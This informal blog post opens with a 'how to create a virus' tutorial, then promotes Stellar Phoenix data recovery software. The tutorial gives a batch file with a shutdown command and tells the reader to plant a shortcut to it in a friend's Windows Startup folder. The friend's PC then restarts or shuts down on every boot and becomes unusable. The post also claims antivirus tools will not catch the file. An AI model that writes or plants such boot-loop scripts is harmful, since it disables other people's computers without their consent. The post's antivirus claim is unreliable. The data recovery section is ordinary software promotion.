how to create a virus............

Today I will show you how to create a virus that restarts the computer upon every startup. That is, upon infection, the computer will get restarted every time the system is booted. This means that the computer will become inoperable since it reboots as soon as the desktop is loaded.
                   For this, the virus need to be double clicked only once and from then onwards it will carry out rest of the operations. And one more thing, none of the antivirus softwares detect’s this as a virus.


MAKE COMPUTER KEEP RESTARTING


1.open note pad


2.type "shutdown -r -t 30" with out quotes


3.save the file with .bat extension


4.explaination,u have created a prog which shutdowns the pc with in 30 sec
of executing the file


5. now open "C:\Documents and Settings\username\Start Menu\Programs\Startup (USERNAME is the username of your computer suppose pc name is anil so the user name is anil)


6.paste a shortcut on this directory


NOW WHEN EVER UR FRIEND STARTS HIS PC  or double click on that file count down will start after 30 sec his pc will shutdown
you can also make his pc shutdown instead of restart..... just replace "shutdown -s" in the place of  "shutdown -r"
and if you want to give a massage when the computer is shutting down so write that code without  bracket 
(shutdown -r -t 60 -c "system goes to shutdown") in the place of (shutdown -r -t 30)
if you want to forcely shutdown so write it shutdown -s


enjoy with this post....but  this is not a virus but look so....

how to recover data form hard disk or pen-drive ?

hi friends, 
               you had lost same data by our mistake, those file which you have deleted after using Shift + Delete Key or you have emptied recycle bin unintentionally or intentionally, you had formate your hard disk or pen drive and you want recover them so read it carefully .now i will tell u about a software. This software is especially designed for PCs running Windows to help you to search, locate and recover your lost, deleted, missing and inaccessible data. You can efficiently use this software on formatted hard drive.  Powerful scanning algorithm of    Stellar Phoenix  Windows DataRecovery software recovers your lost data from hard disk which you lost due to any reason like accidental deletion, virus attack, formatting of hard disk, unexpected system shutdown, sabotage, file system damage etc. you can also recover the missing or lost logical drives (volumes) which you lost due to unexpected shutdown . It has great features like Raw File Recovery which recognizes and recovers more than 300 types including documents, spreadsheets, web content, emails, images, music, videos and application data files.

                 In the case when your file systems or operating system corrupt then also Stellar Phoenix Windows Data Recovery software is capable in recovering those lost or deleted files and folders. Software is capable in recovering those files without losing any file or without disturbing any other file of that system. You can see the preview of recovered file and save at your desired location. You can recover compressed NTFS file system. 

                            Stellar Phoenix Windows Data Recovery software has user friendly interface with powerful function. Software supports FAT16, FAT32, VFAT, NTFS and NTFS5 file systems. Now recover lost and deleted files systematically.

Steps to use Stellar Phoenix Windows Data Recovery Software are as follows:
        
   1>> launch the application.

·                                                                                The user interface screen consists of menu bar, toolbar, tree structure (left pane), main area (right pane) and log window. CD/DVD drive will be visible in the tree view if it contains CD/DVD.

·                                 The physical disk in the system consists of two or more logical drives which you may be lost due to various reasons such as a simple voltage fluctuation or a virus attack. You can recover lost physical drive and data contained in that. 

·              2>> To recover lost data from physical disk-   

o                                                                                                    
                                                  >>Double click on Physical Disk in the left pane.

o                                                                                                           >>After that you get a Select Appropriate Action window

o                                                                                                           >> You get the three required action to select.

§                 3>> Select logical drive- standard and advanced search are available to search for all the lost logical drive in the physical disk. Discovered logical drives will appear on the tree structure. Further you can recover data from these logical drives.

§                4>>  Raw data recovery- you can recover raw data from badly corrupted drive with this option. You can use this method to search for known file types or search from the selected region.

§                5>>   Create image file- this method take sector by sector image of the specified region of the Physical disk or removal media. It is helpful when media has developed bad sector. You can recover data using this image file.

·                6>> To recover data from the discovered logical drive

o                                                    Double click on the Logical drive option displayed in the left pane of the interface.  You get a dialog box with some option. According to your need perform the task.

o                                                        Similarly, lost files/folders from CD/DVD drive or other storage media can be scanned and recovered.

In this simple way you can recover your lost logical data and also the data contained in it. This is very simple to use Stellar Phoenix Windows Data Recovery Software. With the help of this software you can recover data from FAT16, FAT32, VFAT, NTFS and NTFS5 file system. If you are unknown from the file system then this software is great to use and this way you can secure you data and get back your data easily. Some tips to use this software.

System requirement:

·                                                                                               Pentium Class processor

·                                                                                               Windows Vista / XP / 2003 / 2000 / w7

·                                                                                              128 MB or more of RAM

·                                                                                               35 MB of free space

         Download:Stellar Phoenix Windows DataRecovery software




you want to another software for data recovery 
                                                                          
                                                       Disk recovery software